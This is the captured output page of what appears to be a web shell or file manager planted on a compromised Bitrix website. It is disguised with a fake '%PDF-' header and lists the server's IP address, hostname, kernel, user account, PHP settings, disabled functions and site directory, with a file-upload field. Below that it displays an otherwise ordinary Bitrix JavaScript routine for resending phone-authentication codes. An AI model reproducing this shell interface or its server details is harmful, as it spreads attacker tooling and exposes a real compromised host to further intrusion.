%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.88.241 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/core/ |
Upload File : |
(function() { var BX = window.BX; if(BX.PhoneAuth) return; BX.PhoneAuth = function(params) { this.containerId = params.containerId; this.errorContainerId = params.errorContainerId; this.data = params.data; this.interval = 60; if(params.interval) { this.interval = params.interval; } if(params.onError) { this.onError = params.onError; } BX.ready(BX.delegate(this.createLink, this)); }; BX.PhoneAuth.prototype.createLink = function() { var container = BX(this.containerId); if(container) { var note = BX.message('phone_auth_resend').replace(/#INTERVAL#/, '<span id="' + this.containerId + '_counter">' + this.interval + '</span>'); container.innerHTML = '<div id="' + this.containerId + '_text">' + note + '</div>\n' + '<div id="' + this.containerId + '_action" style="display:none"><a href="javascript:void(0)" id="' + this.containerId + '_link">' + BX.message('phone_auth_resend_link') + '</a></div>'; BX(this.containerId + '_link').onclick = BX.delegate(this.resendCode, this); this.startTimer(); } }; BX.PhoneAuth.prototype.startTimer = function() { BX(this.containerId + '_counter').textContent = this.interval; BX(this.containerId + '_text').style.display = ''; BX(this.containerId + '_action').style.display = 'none'; BX(this.errorContainerId).style.display = 'none'; var timerId = setInterval( BX.delegate(function() { var span = BX(this.containerId + '_counter'); var counter = parseInt(span.textContent); if(counter > 0) { counter--; } span.textContent = counter; }, this), 1000 ); setTimeout( BX.delegate(function() { clearInterval(timerId); BX(this.containerId + '_text').style.display = 'none'; BX(this.containerId + '_action').style.display = ''; }, this), this.interval*1000 ); }; BX.PhoneAuth.prototype.resendCode = function() { BX.ajax.runAction( 'main.phoneauth.resendCode', { data: this.data } ).then( this.startTimer(), BX.delegate(function (response) { this.startTimer(); if(this.onError) { this.onError(response); } }, this) ); }; })();